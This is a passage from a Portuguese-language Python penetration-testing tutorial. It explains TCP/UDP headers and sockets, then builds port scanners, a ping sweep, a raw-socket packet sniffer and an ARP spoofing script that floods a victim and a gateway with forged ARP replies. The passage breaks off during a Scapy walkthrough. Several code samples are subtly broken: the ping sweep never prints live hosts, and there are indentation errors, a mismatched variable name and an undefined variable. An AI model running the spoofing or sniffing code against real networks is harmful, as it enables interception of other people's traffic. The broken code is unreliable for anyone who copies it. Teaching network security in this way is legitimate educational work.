
Step 2 − Packet with SYN-ACK flag set

Agora, nesta etapa, o sistema de destino retorna um pacote com conjuntos de sinalizadores SYN e ACK.

Step 3 − Packet with ACK flag set

Por fim, o sistema inicial retornará um pacote ao sistema de destino original com o sinalizador ACK definido.

A seguir está o diagrama do cabeçalho TCP junto com a descrição dos campos -

Porta de origem (16 bits)

Ele identifica a porta de origem do processo do aplicativo no dispositivo de envio.

Porta de destino (16 bits)

Ele identifica a porta de destino do processo do aplicativo no dispositivo receptor.

Número de sequência (32 bits)

O número de sequência de bytes de dados de um segmento em uma sessão.

Número de confirmação (32 bits)

Quando o sinalizador ACK é definido, esse número contém o próximo número de sequência do byte de dados esperado e funciona como uma confirmação dos dados anteriores recebidos.

Deslocamento de dados (4 bits)

Este campo implica o tamanho do cabeçalho TCP (palavras de 32 bits) e o deslocamento de dados no pacote atual em todo o segmento TCP.

Reservado (3 bits)

Reservado para uso futuro e definido como zero por padrão.

Sinalizadores (1 bit cada)

  • NS - O processo de sinalização de Notificação de congestionamento explícito usa este bit de soma de Nonce.

  • CWR - Quando um host recebe um pacote com o conjunto de bits ECE, ele configura as janelas de congestionamento reduzidas para reconhecer que o ECE recebeu.

  • ECE - Tem dois significados -

    • Se o bit SYN for limpo para 0, então ECE significa que o pacote IP tem seu bit CE (experiência de congestionamento) definido.

    • Se o bit SYN for definido como 1, ECE significa que o dispositivo é compatível com ECT.

  • URG - Indica que o campo Ponteiro Urgente contém dados significativos e deve ser processado.

  • ACK- Indica que o campo de confirmação tem significado. Se ACK for limpo para 0, indica que o pacote não contém nenhum reconhecimento.

  • PSH - Quando definido, é uma solicitação para a estação receptora PUSH dados (assim que eles chegam) para o aplicativo receptor sem buffer.

  • RST - O sinalizador de redefinição possui os seguintes recursos -

    • É usado para recusar uma conexão de entrada.

    • É usado para rejeitar um segmento.

    • É usado para reiniciar uma conexão.

  • SYN - Este sinalizador é usado para configurar uma conexão entre hosts.

  • FIN- Este sinalizador é usado para liberar uma conexão e nenhum outro dado é trocado depois disso. Como os pacotes com sinalizadores SYN e FIN têm números de sequência, eles são processados ​​na ordem correta.

Tamanho do Windows

Este campo é usado para controle de fluxo entre duas estações e indica a quantidade de buffer (em bytes) que o receptor alocou para um segmento, ou seja, quantos dados o receptor está esperando.

  • Checksum - Este campo contém a soma de verificação de Cabeçalho, Dados e Pseudo Cabeçalhos.

  • Urgent Pointer - Ele aponta para o byte de dados urgente se o sinalizador URG estiver definido como 1.

  • Options- Facilita opções adicionais, que não são cobertas pelo cabeçalho regular. O campo de opção é sempre descrito em palavras de 32 bits. Se este campo contiver dados menores que 32 bits, o preenchimento é usado para cobrir os bits restantes para atingir o limite de 32 bits.

Se você quiser estudar o TCP em detalhes, consulte este link - https://www.tutorialspoint.com/data_communication_computer_network/transmission_control_protocol.htm

A arquitetura de cabeçalho UDP (User Datagram Protocol)

UDP é um protocolo simples sem conexão ao contrário do TCP, um protocolo orientado a conexão. Envolve quantidade mínima de mecanismo de comunicação. No UDP, o receptor não gera uma confirmação do pacote recebido e, por sua vez, o remetente não espera por nenhuma confirmação do pacote enviado. Esta lacuna torna este protocolo não confiável e mais fácil de processar. A seguir está o diagrama do cabeçalho UDP junto com a descrição dos campos -

Porta Fonte

Essas informações de 16 bits são usadas para identificar a porta de origem do pacote.

Porto de destino

Essas informações de 16 bits são usadas para identificar o serviço de nível de aplicativo na máquina de destino.

comprimento

O campo de comprimento especifica todo o comprimento do pacote UDP (incluindo cabeçalho). É um campo de 16 bits e o valor mínimo é de 8 bytes, ou seja, o tamanho do próprio cabeçalho UDP.

Checksum

Este campo armazena o valor de checksum gerado pelo remetente antes do envio. O IPv4 possui este campo como opcional, portanto, quando o campo de checksum não contém nenhum valor, ele se torna 0 e todos os seus bits são zerados.

Para estudar o TCP em detalhes, consulte este link - Protocolo de datagrama do usuário

Os soquetes são os pontos finais de um canal de comunicação bidirecional. Eles podem se comunicar dentro de um processo, entre processos na mesma máquina ou entre processos em máquinas diferentes. Em uma observação semelhante, um soquete de rede é um ponto final em um fluxo de comunicação entre dois programas executados em uma rede de computadores, como a Internet. É puramente virtual e não significa nenhum hardware. O soquete de rede pode ser identificado por uma combinação única de um endereço IP e número de porta. Os soquetes de rede podem ser implementados em vários tipos de canais diferentes, como TCP, UDP e assim por diante.

Os diferentes termos relacionados ao soquete usado na programação de rede são os seguintes -

Domínio

Domínio é a família de protocolos usada como mecanismo de transporte. Esses valores são constantes como AF_INET, PF_INET, PF_UNIX, PF_X25 e assim por diante.

Tipo

Tipo significa o tipo de comunicação entre dois pontos de extremidade, normalmente SOCK_STREAM para protocolos orientados à conexão e SOCK_DGRAM para protocolos sem conexão.

Protocolo

Isso pode ser usado para identificar uma variante de um protocolo dentro de um domínio e tipo. Seu valor padrão é 0. Isso geralmente é omitido.

nome de anfitrião

Isso funciona como o identificador de uma interface de rede. Um nome de host pode ser uma string, um endereço quádruplo com pontos ou um endereço IPV6 em notação de dois pontos (e possivelmente ponto).

Porta

Cada servidor escuta os clientes chamando em uma ou mais portas. Uma porta pode ser um número de porta Fixnum, uma string contendo um número de porta ou o nome de um serviço.

Módulo de soquete do Python para programação de soquete

Para implementar a programação de socket em python, precisamos usar o módulo Socket. A seguir está uma sintaxe simples para criar um Socket -

import socket
s = socket.socket (socket_family, socket_type, protocol = 0)

Aqui, precisamos importar a biblioteca de soquetes e então fazer um soquete simples. A seguir estão os diferentes parâmetros usados ​​ao fazer o soquete -

  • socket_family - Este é AF_UNIX ou AF_INET, conforme explicado anteriormente.

  • socket_type - Este é SOCK_STREAM ou SOCK_DGRAM.

  • protocol - Isso geralmente é deixado de fora, com o padrão de 0.

Métodos de soquete

Nesta seção, aprenderemos sobre os diferentes métodos de soquete. Os três conjuntos diferentes de métodos de soquete são descritos abaixo -

  • Métodos de soquete de servidor
  • Métodos de soquete de cliente
  • Métodos Gerais de Soquete

Métodos de soquete de servidor

Na arquitetura cliente-servidor, há um servidor centralizado que fornece serviço e muitos clientes recebem serviço desse servidor centralizado. Os clientes também fazem a solicitação ao servidor. Alguns métodos de socket de servidor importantes nesta arquitetura são os seguintes -

  • socket.bind() - Este método liga o endereço (nome do host, número da porta) ao soquete.

  • socket.listen()- Este método basicamente escuta as conexões feitas ao soquete. Ele inicia o listener TCP. Backlog é um argumento deste método que especifica o número máximo de conexões enfileiradas. Seu valor mínimo é 0 e o valor máximo é 5.

  • socket.accept()- Isso aceitará a conexão do cliente TCP. O par (conn, address) é o par de valores de retorno deste método. Aqui, conn é um novo objeto de soquete usado para enviar e receber dados na conexão e endereço é o endereço vinculado ao soquete. Antes de usar este método, os métodos socket.bind () e socket.listen () devem ser usados.

Métodos de soquete de cliente

O cliente na arquitetura cliente-servidor solicita o servidor e recebe serviços do servidor. Para isso, existe apenas um método dedicado aos clientes -

  • socket.connect(address)- este método conecta ativamente ao servidor íntimo ou em palavras simples este método conecta o cliente ao servidor. O argumento address representa o endereço do servidor.

Métodos Gerais de Soquete

Além dos métodos de soquete de cliente e servidor, existem alguns métodos de soquete gerais, que são muito úteis na programação de soquetes. Os métodos gerais de soquete são os seguintes -

  • socket.recv(bufsize)- Como o nome indica, este método recebe a mensagem TCP do soquete. O argumento bufsize significa tamanho do buffer e define o máximo de dados que esse método pode receber a qualquer momento.

  • socket.send(bytes)- Este método é usado para enviar dados ao soquete que está conectado à máquina remota. O argumento bytes fornecerá o número de bytes enviados para o socket.

  • socket.recvfrom(data, address)- Este método recebe dados do soquete. O valor de dois pares (dados, endereço) é retornado por este método. Os dados definem os dados recebidos e o endereço especifica o endereço do soquete que envia os dados.

  • socket.sendto(data, address)- Como o nome indica, este método é usado para enviar dados do soquete. O valor de dois pares (dados, endereço) é retornado por este método. Os dados definem o número de bytes enviados e o endereço especifica o endereço da máquina remota.

  • socket.close() - Este método fechará o soquete.

  • socket.gethostname() - Este método retornará o nome do host.

  • socket.sendall(data)- Este método envia todos os dados para o soquete que está conectado a uma máquina remota. Ele transferirá os dados descuidadamente até que ocorra um erro e se isso acontecer, ele usa o método socket.close () para fechar o socket.

Programa para estabelecer uma conexão entre servidor e cliente

Para estabelecer uma conexão entre o servidor e o cliente, precisamos escrever dois programas Python diferentes, um para servidor e outro para cliente.

Programa do lado do servidor

Neste programa de soquete do lado do servidor, usaremos o socket.bind()método que o liga a um endereço IP e porta específicos para que ele possa ouvir as solicitações de entrada nesse IP e porta. Mais tarde, usamos osocket.listen()método que coloca o servidor no modo de escuta. O número, digamos 4, como o argumento dosocket.listen()método significa que 4 conexões são mantidas em espera se o servidor estiver ocupado e se um quinto soquete tentar se conectar, a conexão será recusada. Enviaremos uma mensagem ao cliente usando osocket.send()método. No final, usamos osocket.accept() e socket.close()método para iniciar e fechar a conexão, respectivamente. A seguir está um programa do lado do servidor -

import socket
def Main():
   host = socket.gethostname()
   port = 12345
   serversocket = socket.socket()
   serversocket.bind((host,port))
   serversocket.listen(1)
   print('socket is listening')
   
   while True:
      conn,addr = serversocket.accept()
      print("Got connection from %s" % str(addr))
      msg = 'Connecting Established'+ "\r\n"
      conn.send(msg.encode('ascii'))
      conn.close()
if __name__ == '__main__':
   Main()

Programa do lado do cliente

No programa de soquete do lado do cliente, precisamos fazer um objeto de soquete. Em seguida, conectaremos à porta em que nosso servidor está sendo executado - 12345 em nosso exemplo. Depois disso, vamos estabelecer uma conexão usando osocket.connect()método. Então, usando osocket.recv()método, o cliente receberá a mensagem do servidor. Enfim, osocket.close() método fechará o cliente.

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = socket.gethostname()
port = 12345

s.connect((host, port))
msg = s.recv(1024)

s.close()
print (msg.decode('ascii'))

Agora, depois de executar o programa do lado do servidor, obteremos a seguinte saída no terminal -

socket is listening
Got connection from ('192.168.43.75', 49904)

E depois de executar o programa do lado do cliente, obteremos a seguinte saída em outro terminal -

Connection Established

Tratamento de exceções de soquete de rede

Existem dois blocos, a saber try e exceptque pode ser usado para lidar com exceções de soquete de rede. A seguir está um script Python para lidar com a exceção -

import socket
host = "192.168.43.75"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
   s.bind((host,port))
   s.settimeout(3)
   data, addr = s.recvfrom(1024)
   print ("recevied from ",addr)
   print ("obtained ", data)
   s.close()
except socket.timeout :
   print ("No connection between client and server")
   s.close()

Resultado

O programa acima gera a seguinte saída -

No connection between client and server

No script acima, primeiro criamos um objeto socket. Em seguida, forneceu o endereço IP do host e o número da porta em que nosso servidor está sendo executado - 12345 em nosso exemplo. Mais tarde, o bloco try é usado e dentro dele usando osocket.bind()método, vamos tentar vincular o endereço IP e a porta. Nós estamos usandosocket.settimeout()método para definir o tempo de espera do cliente, no nosso exemplo estamos definindo 3 segundos. O bloco except é usado, o qual irá imprimir uma mensagem se a conexão não for estabelecida entre o servidor e o cliente.

A varredura de portas pode ser definida como uma técnica de vigilância, que é usada para localizar as portas abertas disponíveis em um determinado host. O administrador de rede, testador de penetração ou um hacker pode usar essa técnica. Podemos configurar o scanner de porta de acordo com nossos requisitos para obter o máximo de informações do sistema de destino.

Agora, considere as informações que podemos obter após executar a verificação de porta -

  • Informações sobre portas abertas.

  • Informações sobre os serviços em execução em cada porta.

  • Informações sobre o sistema operacional e o endereço MAC do host de destino.

A varredura de portas é como um ladrão que deseja entrar em uma casa verificando todas as portas e janelas para ver quais estão abertas. Conforme discutido anteriormente, o conjunto de protocolos TCP / IP, usado para comunicação pela Internet, é composto de dois protocolos, a saber, TCP e UDP. Ambos os protocolos têm 0 a 65535 portas. Como sempre é aconselhável fechar portas desnecessárias do nosso sistema, portanto, essencialmente, existem mais de 65.000 portas (portas) para travar. Essas 65535 portas podem ser divididas nos três intervalos a seguir -

  • Sistema ou portas conhecidas: de 0 a 1023

  • Portas do usuário ou registradas: de 1024 a 49151

  • Portas dinâmicas ou privadas: todas> 49151

Scanner de porta usando soquete

Em nosso capítulo anterior, discutimos o que é um soquete. Agora, vamos construir um scanner de porta simples usando soquete. A seguir está um script Python para scanner de porta usando soquete -

from socket import *
import time
startTime = time.time()

if __name__ == '__main__':
   target = input('Enter the host to be scanned: ')
   t_IP = gethostbyname(target)
   print ('Starting scan on host: ', t_IP)
   
   for i in range(50, 500):
      s = socket(AF_INET, SOCK_STREAM)
      
      conn = s.connect_ex((t_IP, i))
      if(conn == 0) :
         print ('Port %d: OPEN' % (i,))
      s.close()
print('Time taken:', time.time() - startTime)

Quando executamos o script acima, ele solicitará o nome do host, você pode fornecer qualquer nome de host, como o nome de qualquer site, mas tome cuidado porque a varredura de portas pode ser vista ou interpretada como um crime. Nunca devemos executar um scanner de porta em qualquer site ou endereço IP sem permissão explícita por escrito do proprietário do servidor ou computador que você está almejando. A verificação de portas é semelhante a ir à casa de alguém e verificar suas portas e janelas. É por isso que é aconselhável usar o scanner de porta no localhost ou no seu próprio site (se houver).

Resultado

O script acima gera a seguinte saída -

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
Port 135: OPEN
Port 445: OPEN
Time taken: 452.3990001678467

A saída mostra que no intervalo de 50 a 500 (conforme fornecido no script), este scanner de porta encontrou duas portas - porta 135 e 445, abertas. Podemos alterar esse intervalo e verificar outras portas.

Port Scanner usando ICMP (hosts ativos em uma rede)

ICMP não é uma varredura de porta, mas é usado para fazer ping no host remoto para verificar se o host está ativo. Essa verificação é útil quando temos que verificar vários hosts ativos em uma rede. Envolve o envio de uma solicitação ICMP ECHO a um host e, se esse host estiver ativo, ele retornará uma resposta ICMP ECHO.

O processo de envio de solicitação ICMP acima também é chamado de varredura de ping, que é fornecido pelo comando ping do sistema operacional.

Conceito de Ping Sweep

Na verdade, em um ou outro sentido, a varredura de ping também é conhecida como varredura de ping. A única diferença é que a varredura de ping é o procedimento para encontrar a disponibilidade de mais de uma máquina em uma faixa de rede específica. Por exemplo, suponha que desejamos testar uma lista completa de endereços IP e, em seguida, usando o ping scan, ou seja, o comando ping do sistema operacional, demoraria muito para fazer a varredura dos endereços IP um por um. É por isso que precisamos usar o script de varredura de ping. A seguir está um script Python para encontrar hosts ativos usando a varredura de ping -

import os
import platform

from datetime import datetime
net = input("Enter the Network Address: ")
net1= net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
oper = platform.system()

if (oper == "Windows"):
   ping1 = "ping -n 1 "
elif (oper == "Linux"):
   ping1 = "ping -c 1 "
else :
   ping1 = "ping -c 1 "
t1 = datetime.now()
print ("Scanning in Progress:")

for ip in range(st1,en1):
   addr = net2 + str(ip)
   comm = ping1 + addr
   response = os.popen(comm)
   
   for line in response.readlines():
      if(line.count("TTL")):
         break
      if (line.count("TTL")):
         print (addr, "--> Live")
         
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: ",total)

O script acima funciona em três partes. Primeiro, ele seleciona o intervalo de endereços IP para fazer o ping da varredura, dividindo-o em partes. Em seguida, usa-se a função, que seleciona o comando de varredura do ping de acordo com o sistema operacional e, por último, dá a resposta sobre o host e o tempo gasto para concluir o processo de varredura.

Resultado

O script acima gera a seguinte saída -

Enter the Network Address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 100

Scanning in Progress:
Scanning completed in: 0:00:02.711155

A saída acima não está mostrando nenhuma porta ativa porque o firewall está ativado e as configurações de entrada ICMP também estão desabilitadas. Depois de alterar essas configurações, podemos obter a lista de portas ativas no intervalo de 1 a 100 fornecida na saída.

Scanner de porta usando varredura TCP

Para estabelecer uma conexão TCP, o host deve realizar um handshake de três vias. Siga estas etapas para realizar a ação -

Step 1 − Packet with SYN flag set

Nesta etapa, o sistema que está tentando iniciar uma conexão começa com um pacote que tem o sinalizador SYN definido.

Step 2 − Packet with SYN-ACK flag set

Nesta etapa, o sistema de destino retorna um pacote com conjuntos de sinalizadores SYN e ACK.

Step 3 − Packet with ACK flag set

Por fim, o sistema inicial retornará um pacote ao sistema de destino original com o sinalizador ACK definido.

No entanto, a questão que surge aqui é se podemos fazer a varredura de porta usando o método de solicitação e resposta de eco ICMP (varredura de varredura de ping), então por que precisamos da varredura TCP? A principal razão por trás disso é que suponha que se desligarmos o recurso de resposta ICMP ECHO ou usarmos um firewall para pacotes ICMP, o scanner de varredura de ping não funcionará e precisamos de varredura TCP.

import socket
from datetime import datetime
net = input("Enter the IP address: ")
net1 = net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
t1 = datetime.now()

def scan(addr):
   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   socket.setdefaulttimeout(1)
   result = s.connect_ex((addr,135))
   if result == 0:
      return 1
   else :
      return 0

def run1():
   for ip in range(st1,en1):
      addr = net2 + str(ip)
      if (scan(addr)):
         print (addr , "is live")
         
run1()
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: " , total)

O script acima funciona em três partes. Ele seleciona o intervalo de endereços IP para fazer o ping da varredura, dividindo-o em partes. Isso é seguido pelo uso de uma função para escanear o endereço, que ainda usa o soquete. Posteriormente, ele fornece a resposta sobre o host e o tempo gasto para concluir o processo de digitalização. O resultado = s. A instrução connect_ex ((addr, 135)) retorna um indicador de erro. O indicador de erro é 0 se a operação for bem-sucedida; caso contrário, é o valor da variável errno. Aqui, usamos a porta 135; este scanner funciona para o sistema Windows. Outra porta que funcionará aqui é a 445 (Microsoft-DSActive Directory) e normalmente está aberta.

Resultado

O script acima gera a seguinte saída -

Enter the IP address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 10

127.0.0.1 is live
127.0.0.2 is live
127.0.0.3 is live
127.0.0.4 is live
127.0.0.5 is live
127.0.0.6 is live
127.0.0.7 is live
127.0.0.8 is live
127.0.0.9 is live
127.0.0.10 is live
Scanning completed in: 0:00:00.230025

Scanner de portas rosqueadas para aumentar a eficiência

Como vimos nos casos acima, a varredura de portas pode ser muito lenta. Por exemplo, você pode ver o tempo gasto para escanear portas de 50 a 500, enquanto usa o scanner de porta de soquete, é 452.3990001678467. Para melhorar a velocidade, podemos usar threading. A seguir está um exemplo de scanner de porta usando threading -

import socket
import time
import threading

from queue import Queue
socket.setdefaulttimeout(0.25)
print_lock = threading.Lock()

target = input('Enter the host to be scanned: ')
t_IP = socket.gethostbyname(target)
print ('Starting scan on host: ', t_IP)

def portscan(port):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   try:
      con = s.connect((t_IP, port))
      with print_lock:
         print(port, 'is open')
      con.close()
   except:
      pass

def threader():
   while True:
      worker = q.get()
      portscan(worker)
      q.task_done()
      
q = Queue()
   startTime = time.time()
   
for x in range(100):
   t = threading.Thread(target = threader)
   t.daemon = True
   t.start()
   
for worker in range(1, 500):
   q.put(worker)
   
q.join()
print('Time taken:', time.time() - startTime)

No script acima, precisamos importar o módulo de threading, que está embutido no pacote Python. Estamos usando o conceito de bloqueio de thread,thread_lock = threading.Lock()para evitar várias modificações de uma vez. Basicamente, threading.Lock () permitirá que uma única thread acesse a variável por vez. Conseqüentemente, nenhuma modificação dupla ocorre.

Posteriormente, definimos uma função threader () que buscará o work (porta) do worker for loop. Em seguida, o método portscan () é chamado para se conectar à porta e imprimir o resultado. O número da porta é passado como parâmetro. Assim que a tarefa for concluída, o método q.task_done () é chamado.

Agora, depois de executar o script acima, podemos ver a diferença na velocidade de digitalização de 50 a 500 portas. Demorou apenas 1.3589999675750732 segundos, que é muito menos do que 452.3990001678467, tempo gasto pelo scanner de porta de soquete para verificar o mesmo número de portas do host local.

Resultado

O script acima gera a seguinte saída -

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
135 is open
445 is open
Time taken: 1.3589999675750732

Sniffing ou sniffing de pacotes de rede é o processo de monitorar e capturar todos os pacotes que passam por uma determinada rede usando ferramentas de sniffing. É uma forma em que podemos “grampear fios telefônicos” e conhecer a conversa. Também é chamadowiretapping e pode ser aplicado às redes de computadores.

Há muitas possibilidades de que, se um conjunto de portas de switch corporativo estiver aberto, um de seus funcionários possa farejar todo o tráfego da rede. Qualquer pessoa no mesmo local físico pode se conectar à rede usando um cabo Ethernet ou conectar-se sem fio a essa rede e farejar o tráfego total.

Em outras palavras, o Sniffing permite que você veja todos os tipos de tráfego, protegidos e desprotegidos. Nas condições certas e com os protocolos certos em vigor, uma parte atacante pode obter informações que podem ser usadas para outros ataques ou para causar outros problemas para o proprietário da rede ou do sistema.

O que pode ser cheirado?

Pode-se farejar as seguintes informações confidenciais de uma rede -

  • Tráfego de email
  • Senhas de FTP
  • Tráfegos da web
  • Senhas de telnet
  • Configuração do roteador
  • Sessões de chat
  • Tráfego DNS

Como funciona o cheiro?

Um farejador normalmente coloca a NIC do sistema no modo promíscuo para que ouça todos os dados transmitidos em seu segmento.

O modo promíscuo se refere à forma única de hardware Ethernet, em particular, placas de interface de rede (NICs), que permite que uma NIC receba todo o tráfego da rede, mesmo que não seja endereçado a esta NIC. Por padrão, uma NIC ignora todo o tráfego que não é endereçado a ela, o que é feito comparando o endereço de destino do pacote Ethernet com o endereço de hardware (MAC) do dispositivo. Embora isso faça sentido para redes, o modo não promíscuo torna difícil usar o software de monitoramento e análise de rede para diagnosticar problemas de conectividade ou contabilidade de tráfego.

Um sniffer pode monitorar continuamente todo o tráfego para um computador por meio da NIC, decodificando as informações encapsuladas nos pacotes de dados.

Tipos de cheirar

Farejar pode ser de natureza ativa ou passiva. Agora aprenderemos sobre os diferentes tipos de farejamento.

Sniffing Passivo

Na detecção passiva, o tráfego é bloqueado, mas não é alterado de forma alguma. Farejar passivo permite apenas ouvir. Funciona com os dispositivos Hub. Em um dispositivo de hub, o tráfego é enviado a todas as portas. Em uma rede que usa hubs para conectar sistemas, todos os hosts da rede podem ver o tráfego. Portanto, um invasor pode capturar facilmente o tráfego que passa.

A boa notícia é que os hubs quase se tornaram obsoletos nos últimos tempos. A maioria das redes modernas usa switches. Conseqüentemente, a cheirada passiva não é mais eficaz.

Sniffing ativo

Na detecção ativa, o tráfego não é apenas bloqueado e monitorado, mas também pode ser alterado de alguma forma, conforme determinado pelo ataque. A detecção ativa é usada para detectar uma rede baseada em switch. Envolve a injeção de pacotes de resolução de endereço (ARP) em uma rede de destino para inundar a tabela de memória endereçável de conteúdo do switch (CAM). O CAM mantém registro de qual host está conectado a qual porta.

A seguir estão as técnicas ativas de cheirar -

  • MAC Flooding
  • Ataques DHCP
  • Envenenamento DNS
  • Ataques falsificados
  • Envenenamento ARP

Os efeitos do sniffing nos protocolos

Protocolos como o tried and true TCP/IPnunca foram projetados com a segurança em mente. Esses protocolos não oferecem muita resistência a intrusos em potencial. A seguir estão os diferentes protocolos que se prestam a uma fácil detecção -

HTTP

Ele é usado para enviar informações em texto não criptografado sem qualquer criptografia e, portanto, um alvo real.

SMTP (protocolo de transferência de correio simples)

O SMTP é utilizado na transferência de e-mails. Este protocolo é eficiente, mas não inclui nenhuma proteção contra farejamento.

NNTP (protocolo de transferência de notícias de rede)

Ele é usado para todos os tipos de comunicação. Uma grande desvantagem disso é que os dados e até mesmo as senhas são enviados pela rede como texto não criptografado.

POP (Post Office Protocol)

O POP é estritamente usado para receber e-mails dos servidores. Este protocolo não inclui proteção contra sniffing porque pode ser interceptado.

FTP (protocolo de transferência de arquivos)

O FTP é usado para enviar e receber arquivos, mas não oferece nenhum recurso de segurança. Todos os dados são enviados como texto não criptografado que pode ser facilmente detectado.

IMAP (Internet Message Access Protocol)

IMAP é igual ao SMTP em suas funções, mas é altamente vulnerável a farejamentos.

Telnet

O Telnet envia tudo (nomes de usuário, senhas, pressionamentos de tecla) pela rede como texto não criptografado e, portanto, pode ser facilmente detectado.

Sniffers não são utilitários idiotas que permitem que você visualize apenas o tráfego ao vivo. Se você realmente deseja analisar cada pacote, salve a captura e revise-a sempre que houver tempo.

Implementação usando Python

Antes de implementar o raw socket sniffer, vamos entender o struct método conforme descrito abaixo -

struct.pack (fmt, a1, a2, ...)

Como o nome sugere, este método é usado para retornar a string, que é compactada de acordo com o formato fornecido. A string contém os valores a1, a2 e assim por diante.

struct.unpack (fmt, string)

Como o nome sugere, esse método descompacta a string de acordo com um determinado formato.

No exemplo a seguir de cabeçalho IP do sniffer de soquete bruto, que são os próximos 20 bytes no pacote e, entre esses 20 bytes, estamos interessados ​​nos últimos 8 bytes. Os últimos bytes mostram se os endereços IP de origem e destino estão sendo analisados ​​-

Agora, precisamos importar alguns módulos básicos da seguinte forma -

import socket
import struct
import binascii

Agora, vamos criar um socket, que terá três parâmetros. O primeiro parâmetro nos fala sobre a interface do pacote - PF_PACKET para Linux específico e AF_INET para Windows; o segundo parâmetro nos diz que é um soquete bruto e o terceiro parâmetro nos fala sobre o protocolo no qual estamos interessados ​​—0x0800 usado para protocolo IP.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

Agora, precisamos chamar o recvfrom() método para receber o pacote.

while True:
   packet = s.recvfrom(2048)

Na linha de código a seguir, estamos copiando o cabeçalho Ethernet -

ethernet_header = packet[0][0:14]

Com a seguinte linha de código, estamos analisando e desempacotando o cabeçalho com o struct método -

eth_header = struct.unpack("!6s6s2s", ethernet_header)

A linha de código a seguir retornará uma tupla com três valores hexadecimais, convertidos por hexify no binascii módulo -

print "Destination MAC:" + binascii.hexlify(eth_header[0]) + " Source MAC:" + binascii.hexlify(eth_header[1]) + " Type:" + binascii.hexlify(eth_header[2])

Agora podemos obter o cabeçalho IP executando a seguinte linha de código -

ipheader = pkt[0][14:34]
ip_header = struct.unpack("!12s4s4s", ipheader)
print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination IP:" + socket.inet_ntoa(ip_header[2])

Da mesma forma, também podemos analisar o cabeçalho TCP.

O ARP pode ser definido como um protocolo sem estado que é usado para mapear endereços de protocolo da Internet (IP) para endereços físicos de máquina.

Trabalho de ARP

Nesta seção, aprenderemos sobre o funcionamento do ARP. Considere as seguintes etapas para entender como o ARP funciona -

  • Step 1 - Primeiro, quando uma máquina deseja se comunicar com outra, ela deve consultar sua tabela ARP para obter o endereço físico.

  • Step 2 - Se encontrar o endereço físico da máquina, o pacote após a conversão para o comprimento correto, será enviado para a máquina desejada

  • Step 3 - Mas se nenhuma entrada for encontrada para o endereço IP na tabela, o ARP_request será transmitido pela rede.

  • Step 4- Agora, todas as máquinas na rede irão comparar o endereço IP transmitido ao endereço MAC e se alguma das máquinas na rede identificar o endereço, ela responderá ao ARP_request junto com seu endereço IP e MAC. Essa mensagem ARP é chamada ARP_reply.

  • Step 5 - Por fim, a máquina que envia a solicitação armazenará o par de endereços em sua tabela ARP e toda a comunicação ocorrerá.

O que é ARP Spoofing?

Pode ser definido como um tipo de ataque em que um agente mal-intencionado está enviando uma solicitação ARP forjada pela rede local. ARP Poisoning também é conhecido como ARP Spoofing. Pode ser entendido com a ajuda dos seguintes pontos -

  • O primeiro spoofing de ARP, para sobrecarregar o switch, criará um grande número de pacotes de solicitação e resposta ARP falsificados.

  • Em seguida, a chave será colocada no modo de encaminhamento.

  • Agora, a tabela ARP seria inundada com respostas ARP falsificadas, para que os invasores pudessem farejar todos os pacotes de rede.

Implementação usando Python

Nesta seção, entenderemos a implementação Python de spoofing de ARP. Para isso, precisamos de três endereços MAC - o primeiro da vítima, o segundo do atacante e o terceiro do gateway. Junto com isso, também precisamos usar o código do protocolo ARP.

Vamos importar os módulos necessários da seguinte forma -

import socket
import struct
import binascii

Agora, vamos criar um socket, que terá três parâmetros. O primeiro parâmetro nos informa sobre a interface do pacote (PF_PACKET para Linux específico e AF_INET para Windows), o segundo parâmetro nos diz se é um socket raw e o terceiro parâmetro nos diz sobre o protocolo no qual estamos interessados ​​(aqui 0x0800 usado para IP protocolo).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Agora iremos fornecer o endereço mac do invasor, vítima e máquina de gateway -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Precisamos fornecer o código do protocolo ARP conforme mostrado -

code ='\x08\x06'

Dois pacotes Ethernet, um para a máquina da vítima e outro para a máquina do gateway, foram elaborados da seguinte forma -

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

As seguintes linhas de código estão em ordem de acordo com o cabeçalho ARP -

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Agora precisamos fornecer os endereços IP da máquina de gateway e das máquinas vítima (vamos supor que temos os seguintes endereços IP para máquinas de gateway e vítima) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Converta os endereços IP acima para o formato hexadecimal com a ajuda do socket.inet_aton() método.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Execute a seguinte linha de código para alterar o endereço IP da máquina gateway.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Implementação usando Scapy em Kali Linux

ARP spoofing pode ser implementado usando Scapy no Kali Linux. Siga estas etapas para realizar o mesmo -

Etapa 1: endereço da máquina do invasor

Nesta etapa, encontraremos o endereço IP da máquina do invasor executando o comando ifconfig no prompt de comando do Kali Linux.

Etapa 2: endereço da máquina de destino

